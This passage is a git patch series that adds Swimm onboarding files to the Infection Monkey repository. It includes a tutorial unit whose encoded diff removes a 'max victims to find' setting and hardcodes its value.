From 9b9025a880e3a8da2d7502c59fa0588f69028790 Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 5 Aug 2020 10:43:19 +0300
Subject: [PATCH 01/81] Swimm: Initializing
---
.swm/swimm.json | 3 +++
1 file changed, 3 insertions(+)
create mode 100644 .swm/swimm.json
diff --git a/.swm/swimm.json b/.swm/swimm.json
new file mode 100644
index 000000000..859a889c6
--- /dev/null
+++ b/.swm/swimm.json
@@ -0,0 +1,3 @@
+{
+ "repo_id": "6Nlb99NtY5Fc3bSd8suH"
+}
\ No newline at end of file
From 90e2494725610df4079de772ca3b430aeee25af3 Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 5 Aug 2020 11:01:22 +0300
Subject: [PATCH 02/81] =?UTF-8?q?Swimm:=20saved=20Unit=20'Make=20something?=
=?UTF-8?q?=20configurable=20=E2=9A=99'=20(AzD8XysWg1BBXCjCDkfq)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.swm/AzD8XysWg1BBXCjCDkfq.swm | 58 +++++++++++++++++++++++++++++++++++
1 file changed, 58 insertions(+)
create mode 100644 .swm/AzD8XysWg1BBXCjCDkfq.swm
diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm
new file mode 100644
index 000000000..0b9ccb5c0
--- /dev/null
+++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm
@@ -0,0 +1,58 @@
+{
+ "id": "AzD8XysWg1BBXCjCDkfq",
+ "name": "Make something configurable β",
+ "tests": [],
+ "hints": [
+ "Look for `victims_max_exploit` - it's rather similar."
+ ],
+ "files": {
+ "monkey/infection_monkey/config.py": {
+ "index": [
+ "1fbcb876..67ed19de",
+ "100644"
+ ],
+ "fileA": "monkey/infection_monkey/config.py",
+ "fileB": "monkey/infection_monkey/config.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 3,
+ "numLineAdditions": 0,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGV4cGxvaXRlcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMxJTJDJTIyYiUyMiUzQTEzMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMyJTJDJTIyYiUyMiUzQTEzMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzMyUyQyUyMmIlMjIlM0ExMzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGxvb2slMjBmb3IlMjBpbiUyMGElMjBzaW5nbGUlMjBzY2FuJTIwaXRlcmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHZpY3RpbXNfbWF4X2ZpbmQlMjAlM0QlMjAxMDAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMzUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGV4cGxvaXQlMjBiZWZvcmUlMjBzdG9wcGluZyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzNyUyQyUyMmIlMjIlM0ExMzQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB2aWN0aW1zX21heF9leHBsb2l0JTIwJTNEJTIwMTAwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM4JTJDJTIyYiUyMiUzQTEzNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzOSUyQyUyMmIlMjIlM0ExMzYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBOSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA=="
+ ]
+ },
+ "monkey/infection_monkey/monkey.py": {
+ "index": [
+ "444bde45..ff23f671",
+ "100644"
+ ],
+ "fileA": "monkey/infection_monkey/monkey.py",
+ "fileB": "monkey/infection_monkey/monkey.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 1,
+ "numLineAdditions": 1,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xNTglMkM3JTIwJTJCMTU4JTJDNyUyMCU0MCU0MCUyMGNsYXNzJTIwSW5mZWN0aW9uTW9ua2V5KG9iamVjdCklM0ElMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU4JTJDJTIyYiUyMiUzQTE1OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU5JTJDJTIyYiUyMiUzQTE1OSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2MCUyQyUyMmIlMjIlM0ExNjAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNjIlMkMlMjJiJTIyJTNBMTYyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaXNfZW1wdHklMjAlM0QlMjBUcnVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYzJTJDJTIyYiUyMiUzQTE2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZvciUyMG1hY2hpbmUlMjBpbiUyMG1hY2hpbmVzJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTY0JTJDJTIyYiUyMiUzQTE2NCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
+ ]
+ },
+ "monkey/monkey_island/cc/services/config_schema/internal.py": {
+ "index": [
+ "bdbae246..d6042d35",
+ "100644"
+ ],
+ "fileA": "monkey/monkey_island/cc/services/config_schema/internal.py",
+ "fileB": "monkey/monkey_island/cc/services/config_schema/internal.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 6,
+ "numLineAdditions": 0,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00MCUyQzEyJTIwJTJCNDAlMkM2JTIwJTQwJTQwJTIwSU5URVJOQUwlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNb25rZXklNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCUyQyUyMmIlMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJvYmplY3QlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MSUyQyUyMmIlMjIlM0E0MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnByb3BlcnRpZXMlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MiUyQyUyMmIlMjIlM0E0MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ2aWN0aW1zX21heF9maW5kJTVDJTIyJTNBJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJkZWZhdWx0JTVDJTIyJTNBJTIwMTAwJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVzY3JpcHRpb24lNUMlMjIlM0ElMjAlNUMlMjJEZXRlcm1pbmVzJTIwdGhlJTIwbWF4aW11bSUyMG51bWJlciUyMG9mJTIwbWFjaGluZXMlMjB0aGUlMjBtb25rZXklMjBpcyUyMGFsbG93ZWQlMjB0byUyMHNjYW4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnZpY3RpbXNfbWF4X2V4cGxvaXQlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OSUyQyUyMmIlMjIlM0E0MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyTWF4JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1MSUyQyUyMmIlMjIlM0E0NSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTEyJTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q="
+ ]
+ }
+ },
+ "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQWluZGV4JTIwMWZiY2I4NzYuLjY3ZWQxOWRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQSU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZXhwbG9pdGVyX2NsYXNzZXMlMjAlM0QlMjAlNUIlNUQlMEElMjAlMjAlMjAlMjAlMjBzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3NlcyUyMCUzRCUyMCU1QiU1RCUwQSUyMCUwQS0lMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwbG9vayUyMGZvciUyMGluJTIwYSUyMHNpbmdsZSUyMHNjYW4lMjBpdGVyYXRpb24lMEEtJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZmluZCUyMCUzRCUyMDEwMCUwQS0lMEElMjAlMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCUyMGJlZm9yZSUyMHN0b3BwaW5nJTBBJTIwJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZXhwbG9pdCUyMCUzRCUyMDEwMCUwQSUyMCUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEFpbmRleCUyMDQ0NGJkZTQ1Li5mZjIzZjY3MSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEElNDAlNDAlMjAtMTU4JTJDNyUyMCUyQjE1OCUyQzclMjAlNDAlNDAlMjBjbGFzcyUyMEluZmVjdGlvbk1vbmtleShvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslMEElMjAlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc19lbXB0eSUyMCUzRCUyMFRydWUlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmb3IlMjBtYWNoaW5lJTIwaW4lMjBtYWNoaW5lcyUzQSUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUwQWluZGV4JTIwYmRiYWUyNDYuLmQ2MDQyZDM1JTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTQwJTQwJTIwLTQwJTJDMTIlMjAlMkI0MCUyQzYlMjAlNDAlNDAlMjBJTlRFUk5BTCUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyTW9ua2V5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMm9iamVjdCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnByb3BlcnRpZXMlMjIlM0ElMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydmljdGltc19tYXhfZmluZCUyMiUzQSUyMCU3QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMk1heCUyMHZpY3RpbXMlMjB0byUyMGZpbmQlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZGVmYXVsdCUyMiUzQSUyMDEwMCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZXNjcmlwdGlvbiUyMiUzQSUyMCUyMkRldGVybWluZXMlMjB0aGUlMjBtYXhpbXVtJTIwbnVtYmVyJTIwb2YlMjBtYWNoaW5lcyUyMHRoZSUyMG1vbmtleSUyMGlzJTIwYWxsb3dlZCUyMHRvJTIwc2NhbiUyMiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ2aWN0aW1zX21heF9leHBsb2l0JTIyJTNBJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBleHBsb2l0JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEE=",
